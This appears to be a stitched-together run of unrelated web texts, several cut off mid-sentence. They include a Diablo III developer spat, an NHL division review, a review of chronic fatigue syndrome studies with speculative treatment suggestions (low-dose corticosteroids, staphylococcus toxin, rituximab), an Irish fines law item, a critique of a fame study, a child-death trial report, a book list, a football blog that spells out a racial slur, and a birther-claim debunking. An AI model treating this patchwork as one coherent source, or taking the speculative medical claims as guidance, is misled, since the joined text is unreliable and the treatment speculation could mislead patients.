giant love and passion for Diablo and they are speaking out about it because they have such love for it. That makes me feel great. I am sad because people are outraged and, you know, some of the decision they have made are not the decisions I would make and there have been changes in philosophy and that hasn’t gone over very well. I think in that way I am a little sad. I am also a little happy, which I hate to say, it shows that the people that were involved in Diablo really did matter, and so I am happy that it has come to light that how talented that group was and how unique and special that group was. I am hoping that, as this happens very often in the industry, you see it with Call of Duty and things like that, when the people leave the game changes and it shows how critical people are in this industry.
It can be argued that this was a reasoned assessment of the final product that many fans share, or it might be said that he was stepping into dangerous territory by badmouthing those who worked on the new game as a result of rather leading questions, even if his thoughts are mildly worded.
The real controversy broke out however when a Facebook exchange about the article was made public. Technical Artist Chris Haga posted the link to the interview saying he felt like the team was being "thrown under the bus." Other team members responded including game director Jay Wilson who simply said "F*** that loser."
Fans took this personally, as the response seemed both unprofessional toward a man who helped create the series in the first place, and it cut into them as well, as many share Brevik's opinions on the game. If Wilson is dismissing Brevik's thoughts in a such a manner, then in turn, he's dismissing their own.
Brevik, far removed from the series now, is allowed to say what's on his mind, whether he was throwing anyone under the bus or not. But the team who is actively working on the game would have been wise to take the high road, and also remember that everything on Facebook is likely not as private as it seems. I'm waiting on a more official statement to see if they have any more eloquent thoughts on the matter.
There's a big new Diablo patch, 1.04, coming out this week to hopefully fix a lot of the problems Brevik mentions including the loot system, and we'll see if straying fans change their minds on the game in the weeks to follow.The 20 game mark in the NHL season is usually a time when the strengths and weaknesses of a club have been fully exposed, giving not only team executives but also fans time to ruminate on where their franchise needs to improve.
The LWOS hockey department has done the same, taking a division-by-division snapshot of where each team is at at the quarter pole, and where they are heading as a result.
First up, the Metropolitan Division, brought to you by Ken Hill (@LWOSPuckHead), Aaron Wrotkwoski (@AaronWrotkowski) and Nic Hendrickson (@RedArmyNic).
The NHL at the Quarter Pole: Metropolitan Division
New York Rangers – 14-2-2, 30 points, 56 GF/31GA, 1st in the Metro
Surprises: Oscar Lindberg. Swedish center Lindberg was a long time coming for the Rangers, but he was well worth the wait. Drafted back in 2010 by the Coyotes, he didn’t even arrive in North America until the 2013-14 season. So far this year, his rookie season, Lindberg has been lights out (though he’s cooled a bit recently), scoring seven goals and 12 points in 18 games, while averaging only 12:31 a night. The early Calder contender is second in rookie goal scoring, just one goal behind Arizona’s Max Domi.
Disappointments: Dan Boyle and Rick Nash. The two veterans (and Olympic Gold Medalists) can be easily clumped together for the same reason: Goal scoring. The 31-year-old Nash, who produced 42 goals just last season, has but two so far this year, and a very lackluster 4.7% shooting percentage. While he likely will be able to turn things around, things don’t look so rosy for the 39-year-old Boyle, who has zero goals and just three assists, despite playing 17:47 a game and plenty of power play time.
Outlook: The Rangers have won nine in a row and taken a point in their last 13 games, propelling themselves to the top of the East. With a deep (if unspectacular) group of forwards led by Mats Zuccarello and Derick Brassard, one of the best shut-down D corps in the league and the sublime Henrik Lundqvist playing the best hockey of his life (amazing but true), there’s no reason why the Rangers can’t continue this run all the way through the regular season and deep into the playoffs.
Prediction: The Rangers Stanley Cup window is wide open, and they’re going for it. The team will add a piece or two at the deadline, easily win the Metro, and at least make the Eastern Conference Final.
Washington Capitals – 12-4-1, 25 points, 51GF/38GA, 2nd in the Metro
Surprises: Evgeny Kuznetsov. If one was to guess who was leading the Capitals in scoring so far this season, Alex Ovechkin would be an easy answer. Despite missing three games, center Nicklas Backstrom, quietly one of the best point-producers in the league for several years, would be a pretty good guess too, or maybe T.J. Oshie or Justin Williams. However, it’s the 23-year-old Kuznetsov leading the parade. So far in his sophomore season he has 18 points (10th in the NHL) in 17 games, and has been doing it without the same league-wide fanfare of his countryman Vladimir Tarasenko in St. Louis.
Disappointments: Is it fair to say there really isn’t one? The club as a whole is in the top ten of almost every appreciable statistical category, and most of the players on the roster have either progressed or regressed as they were expected to prior to the season. The team’s bottom-six centers have been a point of contrition however, as Brooks Laich, Jay Beagle and Chandler Stephenson have combined for just four goals so far.
Outlook: The Capitals look to have their best chance at the Stanley Cup during the Ovechkin era, and will continue to be one of the top teams in the East.
Prediction: Ovechkin finishes runner-up for the Rocket Richard, Backstrom finishes runner-up for the Lady Byng, goaltender Braden Holtby finishes runner-up for the Vezina, and the Capitals finish runner-up in the Metro.
New York Islanders – 10-6-3, 23 points, 54GF/43GA, 3rd in the Metro
Surprises: Kyle Okposo. Everyone knew Okposo was a top-six winger, but he was usually relied upon for goal scoring. With 12 assists in 19 games, Okposo is bringing a new dimension to his game. The goals should come later in the season and keep him in the 20 goal market, but he could end up a 60-point winger going into the summer as an unrestricted free agent.
Disappointments: Mikhail Grabovski and Nikolay Kulemin. The former Leafs duo costs $9.811 million on the salary cap and has only five goals combined to show for it. With two more years on each, the Islanders need more production from these two if they plan on going anywhere with them. Less pineapple stabbing, more goal-scoring.
Outlook: With fantastic goaltending from Jaroslav Halak and Thomas Greiss, the Islanders should stay up with the best in the Metropolitan division. They do need to allow a few less shots on their goaltenders (27.4 against per game) if they wish to contend in the playoffs.
Prediction: Second-best New York team in the NHL.
Pittsburgh Penguins – 11-7-0, 22 points, 39GF/40GA, 4th in the Metro
Surprises: Goals against. For all the contrition about the Penguins blueline, many would be surprised to learn Pittsburgh has allowed the second-fewest goals against in the Metro, behind only the notoriously stingy Rangers, despite being a bottom-10 team in possession (48CF%).
Much of that is due to the incredible play of goalie Marc-Andre Fleury, who has carried over his fantastic form from |
1995 1460 (26) 1715 (50) Buchwald 1992 1905 (134) 1288 (27) Levine 1992 132.6 (27) 87.9 (89)
The only serological differences that are consistently significantly different between CFS and normal patients are HHV-6 DNA (except for the twin study), HHV-6 IgM, and EBV-VCA IgM levels. IgM, as opposed to IgG, levels, indicate active infection, as do viral DNA levels. This suggests that chronic fatigue patients are more likely than controls to have reactivated herpesviruses, but may not be more likely than controls to have had past exposure to herpesviruses.
Chronic Fatigue and Other Infections
There are some studies that have found associations between chronic fatigue syndrome and other types of bacterial and viral infection.
Mycoplasma
Mycoplasma bacterial species can survive for a long time inside cells, evade immune response, and resist treatment with antibiotics. They can cause a form of pneumonia and a sexually transmitted disease, and have been associated with various types of cancer.
In a study of 200 CFS patients and 100 controls, 52% of CFS patients had Mycoplasma infections compared to 7% of controls, and 30.5% of CFS patients had HHV-6 infections compared to 9% of controls, as measured by forensic PCR.[41]
In 100 CFS patients and 50 controls, 52% of CFS patients had PCR results positive for Mycoplasma genus, compared to 14% of controls (p < 0.0001).[42]
Other viruses
In 258 patients from Dubbo in rural Australia, exposed to Epstein-Barr virus, Ross River virus, or Q fever, 35% had a post-infective fatigue syndrome at 6 weeks and 12% at 6 months, at which point 11% (28 patients) met criteria for chronic fatigue syndrome. [43]
Out of 51 patients infected with acute Parvovirus B19, 5 went on to meet criteria for CFS. Those with prolonged fatigue and CFS had significantly higher rates of serum B19 DNA.[44]
In 50 patients with postviral fatigue, 6 were associated with a local epidemic of Coxsackie virus, and 9 from a different viral epidemic of unknown cause; 30 had high antibody titers to Coxsackie virus, but none to other viruses.[45]
Chronic fatigue syndrome seems to frequently follow acute infections, and it is associated with high DNA levels of pathogens, often ones (like viruses or Mycoplasma bacteria) that can persist in the body indefinitely.
Corticosteroids Relieve CFS In A Sub-Population of Patients
In a study of 37 patients with chronic fatigue syndrome and 28 healthy controls, the CFS group had higher baseline cortisol levels but weaker cortisol responses to CRH and fenfluramine, and lower urinary cortisol levels. In a subset of responders (8 out of 23 patients) treated with low-dose hydrocortisone for 28 days, the blunting of the cortisol response recovered, and CRH again caused a strong cortisol spike. In these patients, fatigue dropped to the same level as the normal population.[46]
In a randomized trial of 32 CFS patients with no comorbid disorders, self-reported fatigue scores fell by 7.2 points in treatment group vs. 3.3 points in placebo group (p = 0.009), and 28% of treated patients reached normal levels of fatigue, compared to 9% of the placebo patients. This was a crossover study: patients received either hydrocortisone or placebo for one month, and then the reverse.[50]
Patients with CFS have higher DHEA levels than controls; there is a correlation between higher DHEA and more disability; untreated CFS patients have a blunted DHEA response to CRH challenge compared to controls and hydrocortisone-treaded CFS patients; basal levels of DHEA also went down after treatment with hydrocortisone.[47]
In a much older study from 1948, 53 patients with chronic mononucleosis, with “infectious mononucleosis cells” in the blood, presenting with weakness or ease of fatigue, responded only to a preparation of adrenal cortical extract (“cortalex”). “There was but little subjective improvement during the first week, but a definite feeling of well being developed during the second week and was quite definite during the third week. After this the medication was discontinued and the improvement usually continued. In a few patients it was necessary to increase the dose, or resume it after its discontinuance. Associated with the subjective improvement, there was a decrease in the size of the spleen.”[48]
However, when patients are not selected for having a blunted cortisol response, sometimes trials of corticosteroids on CFS don’t show positive results.
A crossover study of 80 patients given hydrocortisone and fludrocortisone found no significant difference from placebo in reported fatigue. Note that the treatment group here did not see a larger response than placebo to an ACTH injection. So this negative result would still be consistent with the hypothesis that steroids work only when they recover the cortisol response to CRH or ACTH.[49]
A controlled study of 63 patients given low-dose hydrocortisone vs. placebo found no significant difference in wellness score over a period of 3 months, but significantly more patients (53% vs 29%, p =0.04) experiencing an improvement of >5 points on the wellness score, which could be consistent with the drug being effective on a sub-population.[51]
Corticosteroids in Autoimmune Neurological Disorders
Chronic fatigue syndrome has similar symptoms and may have similar causes to other autoimmune neurological disorders such as multiple sclerosis and inflammatory neuropathies. Fatigue, muscle weakness, and brain fog, as well as high antibody titers for viruses, are found in these diseases. Corticosteroids are often standard treatments. This suggests that analogous treatment may be useful in CFS.
Corticosteroids (particularly methylprednisone) decreased by 63% the probability of the patient failing to recover from an exacerbation of multiple sclerosis, according to a Cochrane Review.[52]
IVIG and/or corticosteroids are standard treatment for chronic inflammatory demyelinating polyradiculoneuropathy. Both significantly reduce disability scores.[53][54]
Demyelinating peripheral neuropathy responded to corticosteroids in six children, who regained strength and ability to walk.[55]
Corticosteroids (prednisolone) have significant positive effects on muscle strength and ability to function in daily life for patients with myasthenia gravis, an autoimmune neurological disorder.[56]
However, corticosteroids are ineffective in Guillain-Barre syndrome, another autoimmune demyelinating disease causing weakness and numbness. Standard treatment for Guillain-Barre is plasmapheresis and/or IVIG.[57]
Corticosteroids suppress inflammation, so they are often effective on autoimmune disorders which damage the nervous system through inflammatory damage. While it is not known what causes CFS, if it is an autoimmune disorder, it may respond to similar treatment.
IVIG Is Not Consistently Effective in CFS
Intravenous immunoglobulin is the practice of treating immunodeficiency disorders with a variety of antibodies via injection.
A 30-person randomized trial of IVIG in CFS, with a dose of 1 gm/kg, found no significant differences in symptoms between treatment and control by the 5-month follow-up point.[58]
A 99-patient controlled trial of IVIG vs. placebo infusion on CFS patients found no significant treatment effect on any self-reported symptom scores.[59]
A 71-patient randomized controlled trial of IVIG vs. placebo infusion found a barely-significant (p = 0.04) difference between placebo and IVIG on symptom scores.[64]
However, a 49-person study of patients with CFS treated with a dose of 2 gm/kg of IVIG, 40 of which had reduced T-cell counts or reduced response to skin-test antigens, found 43% of the treated group compared to 12% of controls noticed major reductions in their symptoms at the 3-month follow-up point after treatment. The responders also noticed recovery of their cell-mediated immunity findings.[60]
It’s possible that for a sub-population of CFS patients with abnormally low T-cell counts or T-cell subtype counts, IVIG can be helpful; but it doesn’t seem to be helpful for CFS patients across the board.
Staphylococcus Toxin May Help CFS
In a randomized trial treating 100 fibromyalgia or CFS patients with staphylococcus toxin or placebo found that the treatment group had 65% responders (reduction of >50% of symptoms on a comprehensive rating scale) compared to 18% for placebo, p < 0.001. There was improvement at a p < 0.01 level in fatiguability, reduced sleep, failing memory, concentration difficulties, and sadness.[61]
Rituximab May Help CFS
Rituximab, an immunosuppressant drug that targets B cells, was found to improve fatigue scores in 67% of 30 patients in a randomized trial, compared to 13% of placebo. (p = 0.003). There were no adverse effects except a worsening of psoriasis in two patients.[62]
In an open-label follow-up from the same lab, 18 out of 29 patients on maintenance rituximab therapy for 15 months had clinically significant responses.[63]
Speculations
Reduced NK activity and viral reactivations naturally go together, and stress can cause both. Cortisol usually inhibits NK activity, so long-term hypocortisolism might result in NK cells that become more sensitive to cortisol[65], a possible mechanism for how an impaired HPA axis could result in NK dysfunction and thence viral reactivation. The picture that seems to be emerging is that prolonged stress and/or an acute viral infection can result in fatigue and immunocompromise. This would explain why there are often psychological comorbid factors.
If this is what’s going on, then the obvious intervention points would be to increase cortisol (particularly the phasic cortisol response to stress) and to increase NK activity. Administering low dose corticosteroids seems to do reasonably well at the former. It’s not clear how to do the latter, but cytokines like IL-15 might work[66] and so might bacterial therapies like the staphylococcus toxin mentioned above.
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AdvertisementsJUSTICE MINISTER FRANCES Fitzgerald says that new legislation that would stop people refusing to pay fines is on its way.
Speaking to Newstalk today, Fitzgerald said that new laws that would be in place from 1 January that would allow people have fines taken from their pay, be that wages or social welfare.
Speaking to Dearbhail McDonald, Fitzgerald said that though the practice has been available for a number of months, the Courts Service required an IT upgrade to allow the law become practicable.
“We do have new legislation that will make a big difference.
“We have a much more modernised system that will change the approach to fines in this country.
“If people continue to refuse, they can face a very stiff penalty.”
55% of those imprisoned in Ireland last year were jailed for the non-payment of fines.
The jailing independent deputies Mick Wallace and Clare Daly this week reignited debate around the issue.
Fitzgerald said that while she couldn’t comment on the case, there is an “obligation on all of us to obey the law”.It’s pamper time for Maddie, 16, who’s sitting down for a manicure right now, but not before telling her 2,000 Twitter followers. “Spa day,” the teen taps out, her long blond hair clipped up in a sloppy bun as she streams updates throughout the day. “I love when my nails are freshly painted,” she alerts soon after, presumably when the polish is dry. (Color: charcoal grey.)
The bubbly varsity team swimmer is a mini-celeb in her circle, with 1,200 Facebook friends and arguably more Twitter followers than anyone at her diverse suburban high school of 2,000 just west of Boston. And complete strangers around the world see her tweets, too, signing on to her feed after heartthrob Niall Horan, of the boy band One Direction, began following her. Yes, He of the spike-gelled mop-top.
“He has 13 million followers and only follows a couple thousand,” says Maddie, who doesn’t at all mind telling the story of how that happened (more on that later). “People are like, ‘that’s crazy.’” In another tweet, Maddie wonders why Miley Cyrus, her one-time role model and the ex-star of Disney’s Hannah Montana sitcom, has gone punked out and potty-mouthed. “Miley, baby, what happened?” That information may seem like a trashy tabloid tidbit, but the theory about what’s ailing today’s youth centers on the popular TV show. Call it the Hannah Montana Hypothesis.
Researchers are warning that today’s youth are more obsessed with becoming famous than ever before, and rank fame as the most important thing in life. These psychologists believe that narcissism has been increasing from one generation to the next, with today’s youth reaching a new level of vanity and idle dreams of grandeur. With 24/7 retweeting, liking, and following, every teen has a potential world audience to act out fantasies of becoming just like the stars they idolize. Or stars might even follow them.
Maddie seems like a poster child for the social media-induced narcissism era as she broadcasts all day long about her hair, skin, school, friends, swimming, and fave celebs. The caption under her Instagram “selfie” photo, taken by pointing her iPhone down her legs in mid-pedicure, seems to say it all: “The Princess Life.” “I post for the likes,” she explains. “I post all the time.” But her generation’s princess—and prince—problem may be far more controversial than it seems.
Also in Sociology Why New York Is Just an Average City By Geoffrey West How rich, creative, or safe can we expect a city to be? How can we establish which cities are the most innovative, the most violent, or the most effective at generating wealth? How do they rank according to economic activity,...READ MORE
On a quick look, the scientific evidence is clear. “Popular TV shows teach children fame is the most important value,” stated the University of California, Los Angeles (UCLA) press announcement of the study by psychology professor Patricia Greenfield and her Ph.D. student, Yalda Uhls. Titled “The Rise of Fame: An Historical Content Analysis,” the study evaluated the two most popular tween TV shows of every decade for the last 50 years. Recruited online, 60 reviewers rated the programs based on 16 moral values incorporating traits from cutting-edge research investigating what makes people desire fame. They ranked community feeling and benevolence as the most important moral concepts in Andy Griffith and The Lucy Show, which aired in 1967; Laverne & Shirley and Happy Days, which aired in 1977; Growing Pains and Alf, which aired in 1987; and Sabrina the Teenage Witch and Boy Meets World, which aired in 1997. In those decades, fame and achievement hovered at the bottom of the list. But in 2007, the moral values flipped—fame and achievement skyrocketed in American Idol (the talent competition) and Hannah Montana, in which high school student Miley Stewart (played by Miley Cyrus) leads a double life as a pop star. At the same time, community feeling and benevolence plummeted.
“The rise of fame in preteen television may be one influence in the documented rise of narcissism in our culture,” Greenfield said in that press release, echoing the battle cry of a much-quoted group of psychologists claiming that today’s youth are more selfish, vain, and conceited than past generations. “At an age when children are craving popularity, they’re craving fame, but without understanding it should be tied to hard work or skill,” says Uhls, a former film executive and a regional director of Common Sense Media, a non-profit advocacy group promoting educational programming and policy for kids. The results? Deflation. Disappointment. Slacking off. “Some kids could drop out of school because they see it as so easy,” Uhls said in a follow-up telephone interview. National media including USA Today, CNN, and Time covered the study with little skepticism, pinning the blame on multimedia for saturating tweens with fame-hyping messages.
Researchers are warning that today’s young are more obsessed with becoming famous than ever before, and rank fame as the most important thing in life.
But it’s not so clear cut. It turns out that neither the researchers nor their reviewers actually watched the programs in their study. Instead, the 60 participants evaluated summaries of the shows written by anonymous contributors to tv.com. That methodology is just one of many deep flaws in the research, according to Klaus Krippendorff, communications professor at the Annenberg School for Communication at the University of Pennsylvania, who wrote the textbook, Content Analysis, now in its third edition.
“I wouldn’t touch these conclusions with a ten foot pole,” Krippendorff said. A sampling size of just two TV programs every decade is “ridiculously small,” if not completely arbitrary, he pointed out, emphasizing the importance of representative samplings. “I would not generalize from this data to say there is a trend over time.”
A content analysis, he explained, must evaluate content. Like film, television involves visuals, sound, and tone, such as jokes or sarcasm that communicate implicit versus explicit meanings. In traditional methods, a small group of raters is trained, then tested on reliability and consistency in analyzing content—a labor-intensive process. So at best, Krippendorff concluded, this study could be seen as a survey of perceptions of past and current TV shows.
Uhls and Greenfield responded to the criticism by explaining that using untrained reviewers was, in fact, their research innovation. “The goal was not ‘accurate coding,’ but learning what impression each series was making on its audience,” they wrote in an email. “In sum, the point was not to assess ‘actual’ content, but ‘perceived’ content.” Yet their paper, sub-titled “A Content Analysis,” only mentions audience perception in passing and repeatedly expounds on TV show values, as do the study’s abstract and implications sections, the UCLA press release, and their comments to reporters.
“I wouldn’t touch these conclusions with a ten foot pole,” Krippendorff said.
If anything, the findings reveal what grown-ups think of children’s TV, since the average rater was 39 years old, with only seven participants under 25. Adult disapproval, in fact, is why Uhls began her research—after noticing that when her daughter was 9 years old, her favorite shows seemed to involve an unusual number of fame-focused settings, ranging from Hannah Montana to Nickolodeon’s iCarly (2007-2012) which was about a fictional teenage web mogul. In fact, the digital revolution is producing actual teen web moguls, like Summly founder Nick D’Aloisio, who was profiled in Forbes magazine after his company merged with Yahoo!. Then there is cloud-computing whizz kid Daniil Kulchenko, who sold his first start-up at age 15 to cloud-computing company ActiveState for an undisclosed sum. But that doesn’t seem to have entered into their equation.
When researchers like Krippendorff tackle content analysis, they typically use trained raters. But that would involve many hours of actual TV watching—and substantial resources. Luckily, Maddie has already logged many hours of actual TV watching and is available—when not working part-time at University Pizza.
“I LOVE Hannah Montana,” Maddie says, excited by the idea of giving her own content analysis. She even singled out the tone, technically known as the implicit message. “It’s lighthearted and funny and some people say the acting is really bad, but I think it’s goofy and stupid in a funny way,” she said. One of the funniest, goofiest things is that rock star Billy Ray Cyrus plays the fictional dad of Miley Stewart (Miley Cyrus) in Hannah Montana—and he’s also her dad in real life. “You laugh at, like, that he’s trying to act and stuff,” Maddie explained. “But actually, he really can’t act very well!” To young people, the interplay between the real and fictional set-up is hilarious.
The show, she explained, doesn’t promote fame at all—but the opposite. “It related Hannah Montana the celebrity to being a real teenager,” Maddie continued, citing the movie version when Hannah Montana finally reveals her identity as a secret star who’s really just a normal teenager. Maddie says the message brings down to earth the celebrities that she already adores and sees promoted everywhere, especially in magazines. “The show was really based on friendship—keeping your friends and family really close,” Maddie says. “When you watch it, you appreciate your family and friends even more.”
Fears about the cult of celebrity run amok aren’t new. Historian and social critic Christopher Lasch wrote about it in his 1979 bestseller, The Culture of Narcissism: American Life in An Age of Diminishing Expectations. Back then, a new global media— TV—was being blamed for spreading fast fame in days when only three major TV networks existed. Today with our access to thousands of TV channels, millions of YouTube videos, and 1.73 billion social media users, the debate is more heated than ever: Does easier access to fame spread narcissism like germs—especially to the young—or simply enable pre-existing narcissists to draw more attention?
A few years ago, S. Mark Young, a communications and business professor at the University of Southern California, Los Angeles, and Drew Pinsky, doctor and TV personality, teamed up to tackle the question. They used the Narcissistic Personality Inventory (NPI)—a 40-point questionnaire developed by two University of California, Berkeley professors to assess traits attributed to narcissism such as exhibitionism, exploitativeness, superiority, and vanity—to measure 200 celebrities from Pinsky’s radio show, LoveLine. Reality TV stars scored highest, followed by comedians, actors, |
, West Yorkshire, where they had lived. Mr Anwar, who is not Sanam's father, admitted to police he put the girl in the cupboard to punish her and said Miss Navsarka did the same thing, the court heard. Drowning claim When the couple were interviewed by police, they blamed each other for the injuries Sanam suffered, Mr Goose said. The court has been told Sanam had 107 separate external injuries when she died. The couple claimed Sanam died when they left her alone in the bath for 10 minutes and returned to find her under the water. But a pathologist who conducted a post-mortem examination on Sanam ruled out drowning as a cause of death. Mr Anwar also denies a charge of causing or allowing the death of a child. Miss Navsarka has admitted an alternative charge of failing to protect Sanam. The trial continues.
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StumbleUpon What are these? E-mail this to a friend Printable versionIf you wanted to communicate as much as possible to someone about your worldview by asking them to read just five books, which five books would you choose?
My choices are below. If you post your answer to this question to Twitter, please use the hash tag #WorldviewIn5Books (like I did), so everyone posting their list can find each other.
1. Eliezer Yudkowsky, Rationality: From AI to Zombies
(2015; ebook/audiobook/podcast)
A singular introduction to critical thinking, rationality, and naturalistic philosophy. Both more advanced and more practically useful than any comparable guide I’ve encountered.
2. Sean Carroll, The Big Picture
(2016; ebook/paperback/audiobook)
If Yudkowsky’s book is “how to think 101,” then Carroll’s book is “what to think 101,” i.e. an introduction to what exists and how it works, according to standard scientific naturalism.
3. William MacAskill, Doing Good Better
(2015; ebook/paperback/audiobook)
My current favorite “how to do good 101” book, covering important practical considerations such as scale of impact, tractability, neglectedness, efficiency, cause neutrality, counterfactuals, and some strategies for thinking about expected value across diverse cause areas.
Importantly, it’s missing (a) a quick survey of the strongest arguments for and against utilitarianism, and (b) much discussion of near-term vs. animal-inclusive vs. long-term views and their implications (when paired with lots of empirical facts). But those topics are understandably beyond the book’s scope, and in any case there aren’t yet any books with good coverage of (a) and (b), in my opinion.
4. Steven Pinker, Enlightenment Now
(2018; ebook/paperback/audiobook)
Almost everything has gotten dramatically better for humans over the past few centuries, likely substantially due to the spread and application of reason, science, and humanism.
5. Toby Ord, forthcoming book about the importance of the long-term future
(forthcoming)
Yes, listing a future book is cheating, but I’m doing it anyway. The importance of the long-term future plays a big role in my current worldview, but there isn’t yet a book that captures my views on the topic well, and from my correspondence with Toby so far, I suspect his forthcoming book on the topic will finally do the topic justice. While you’re waiting for the book to be released, you can get a preview via this podcast interview with Toby.
A few notes about my choices
These aren’t my favorite books, nor the books that most influenced me historically. Rather, these are the books that best express key aspects of my worldview. In other words, they are the books I’d most want someone else to read first if we were about to have a long and detailed debate about something complicated, so they’d have some sense of “where I’m coming from.”
Obviously, there is plenty in these books that I disagree with.
I didn’t include any giant college textbooks or encyclopedias; that’d be cheating.
I wish there was a book that summarized many of my key political views, but in my case, I doubt any such book exists.
Economic thinking also plays a big role in my worldview, but I’ve not yet found a book that I think does a good job of integrating economic theory with careful, skeptical discussions of the most relevant empirical data (which often come from fields outside economics, and often differ from the predictions of economic models) across a decent range of the most important questions in economics.
These books are all quite recent. Older books suffer from their lack of access to recent scientific and philosophical progress, for example (a) the last several decades of the cognitive science of human reasoning, (b) the latest estimates of the effectiveness of various interventions to save and improve people’s lives, (c) the latest historical and regional estimates of various aspects of human well-being and their correlates, and (d) recent arguments about moral uncertainty and what to do about it.Posted January 12, 2012 by Footie Crisis in Uncategorized. Leave a Comment
“Por que, negro?”
I’ll just let that hang there for a minute.
Just words on a page, yet the impact such words have had out there in the big bad world has been staggering.
I refer, of course, to the Luis Suarez and Patrice Evra ‘incident’. Not a pleasant one, obviously, but there has been endless debate since, so I won’t try to get too involved in the intricacies, merely refer to it in the point I wish to impart upon you, reader, which is that the criticism of Liverpool FC and Luis Suarez has been misguided.
For the last couple of week I have worn the same look on my face whenever I read an article and see the name Luis Suarez; utter bewilderment.
Not bewilderment at the racism and prejudice involved in football. That in itself is something which is clear cut, there is no place for racism. No, my perplexity is the result of the rank hypocrisy that infects the press, and the misguided witch hunt that has resulted in Suarez being hung out to dry.
I’ve never seen a bigger bandwagon than the one marching and banging its drums at Luis Suarez. “LUIS SUAREZ RACIST, LUIS SUAREZ RACIST” they’re dying to scream out, the Daily Mirror practically did this with its ‘Racist’ back page headline. As a result, Liverpool FC, in their bid to defend their man, have been branded as racists by association. If there is such a thing, Liverpool FC, and its fans appear to be so.
The general feeling I get when you try and even debate the case intelligently, is that you should be ashamed to even think about arguing it. Racism by association is the bug that’s preventing good honest discourse. Anybody who has an opinion tends to be shot down immediately; our arguments dismissed with a lazy ‘bias’ or ‘tribal’ excuse.
The same journalists who choose to write how Liverpool have shown no grace or respect in their defence of the bad man have their employee newspapers printing pictures of tits on Page 3 and talk longingly about the Premiership legend that is the openly fascist Paolo Di Canio.
So far, I am yet to see any mainstream English journalist tackle the obviously flawed FA report into the racism case. Liverpool were well within their right to brand the trial subjective, and whether Suarez said it or not, the question is how we can definitely be sure. The answer is we can’t, because there isn’t enough evidence. Instead, we have a cauldron of changing accounts (from both sides), inconsistencies, controversies in practice and then we land at the point of ‘Probably racially abused him: definitely 8 game ban’.
It seems incredibly easy to sit high up and condemn those below you. With every news outlet in the country revelling in their position as moral compass. The very concept of ‘newspaper’ and ‘moral compass’ is a laughable oxymoron when applied to the majority of the rags in Britain.
Yet those dismissing the misgivings of people arguing the Suarez verdict should remember that there is no problem in challenging something that is deemed ‘official’, in fact, it should be encouraged. Any journalist reading that report should try to challenge it, if they had good journalistic instinct, they should be happy to dismantle it as easily as one lawyer seems to easily have done here, for Tomkins Times.
I’ve never known the British Government to release a report that hasn’t been combed over and analysed to an inch of its life. So why has the FA report so readily accepted? When it comes to football, it seems the sports journalists in the national press aren’t accustomed to investigation. I don’t blame them I suppose, when you spend your days making up transfer stories and reporting on ‘Tweets’, how reliable can you be when it comes to critically analysing a report?
It is unfortunate that it is Liverpool fans who are being discredited for ‘blindly supporting’ Suarez. It’s only because it’s their player that is on the receiving end of the punishment that there is a feeling they must go that extra mile to look into the report whereas your average Bob Punter need only read about it in a tabloid to form his opinion. The same situation would no doubt have happened at any club should one of their players become entangled in such a high profile case.
From a personal point of view, it makes me wonder how reliable the information is I get from newspapers on other, world news reports. If I had not read the Suarez report itself, I may well have had my mind made up that the debate was without question. Yet after reading it, I can only deem that it is in-fact inconclusive. It goes some lengths to highlight the amount of trust we place into the journalist who writes the article we read, on any matter of importance.
There is an obsession with being offended in the country at the moment and dare I say it, it’s getting a bit much. Over 20,000 people complained about Jeremy Clarkson’s ‘outrageous’ comment on the One Show while nowhere near that figure would bat an eye lid as David Cameron and co break up the country and sell it off piece by piece.
Of course, everyone has a right to be offended, but, what of it? You’re offended, carry on. A world without offence is just one step away from a world were men are threatened with their lives for drawing a picture of another man called Muhammad. The real battle and focus for the press should be on the deeper problems in the game regarding racism.
So Luis Suarez ‘may’ have used a taboo word during a heated argument. Though it should be remembered that even the word itself has been subject of debate (inside and outside of the hearing) regarding whether it is an offensive term, unlike for instance had he used a more clear cut term such as nigger, which is what Evra initially claimed.
Racism is of course abhorrent. But the international outcry at Suarez and Liverpool FC has been borderline carnivalesque. Where is the grass roots investigation? Where is the press report into racism in this country. It exists all around us. It stinks of selective hearing that journalists will lazily churn out this report, ignoring its cultural nuances and complexity. I fear that in their rush to condemn everyone involved in the whole case, they have trampled over the most important issues relating to race and prejudice in this country. While Liverpool has been unofficially declared racist by association, it should be remembered and reported that according to this official home office document, Liverpool and Manchester City were the only teams in 2010/2011 that did not have to ban a fan for racially aggravated abuse or chanting.
In summary, I think that in the mad scramble to fill pages and timelines with Luis Suarez churnalism, the real issues of racism have been overlooked. People are so happy to be offended by pretty much anything, that it becomes almost taboo to challenge such a view. Is this right? Certainly not. The problem seems to be that sensationalism and the need to ‘get a headline’ or make a point (as the FA have been accused of doing in relation the FIFA racism ‘storm’), has affected both the FA and the press. I am yet to be convinced that anybody in the press gives two hoots about racism any further than a Luis Suarez headline. The overriding feeling of condescending disapproval of Liverpool FC and its fans is nothing but short-sighted. The issues at hand are far deeper than many lazy hacks are willing to delve. Ironically, I’m sure that if Liverpool fans hadn’t of so vehemently defended Suarez, the press would have quickly moved on to the next headline without so much as a second thought.
Adios, vos blancos y negros.
Chris Severs
AdvertisementsI really thought we’d put this conspiracy theory to rest over the summer, but it has arisen like a zombie yet again to suck the credibility out of the conservative blogosphere. I have had at least 40 e-mails begging me to watch this video featuring Phillip Berg, a PUMA suing Barack Obama and the Democratic Party to prove Obama’s citizenship — even though Obama has already produced a certification of live birth from Hawaii that would get him a passport any day of the week:
Last week, we got tons of e-mail purporting to claim that Berg had won in court and Obama had three days to produce proof of citizenship. It turned out that someone had posted an exemplar of the order, produced by the plaintiff in case the judge granted their motion. In other words, it meant nothing, and neither does this.
Barack Obama was born in Hawaii on August 4, 1961, making him a natural-born citizen of the United States. Hawaii’s certification of live birth proves this, as Allahpundit and I have both noted this summer. Fact Check also verified it, although the video does its best to undermine that by noting the connection to the Annenberg Foundation. By the way, Berg and the video manage to mangle this, too, by claiming Obama sat on the board of the Annenberg Foundation itself and distributed their funding. He ran the Chicago Annenberg Challenge, one of the foundation’s beneficiaries. (The St. Petersburg Times also verified the certification independently.)
Wouldn’t it be nice if we had a contemporaneous corroboration of Obama’s Hawaii birth? As it happens, we do — provided by another PUMA who wanted to find ways to disqualify Obama. Lori Starfelt found this in the archives of the Honolulu Advertiser in a print copy from August 1961:
Unless people want to start claiming that the conspiracy to have Barack Obama infiltrate the political system started at the moment of his birth, that’s pretty conclusive evidence that Obama was born in the US and is a natural-born citizen.
I already know some of the rebuttals that will fly through the comments, so let me address them here:
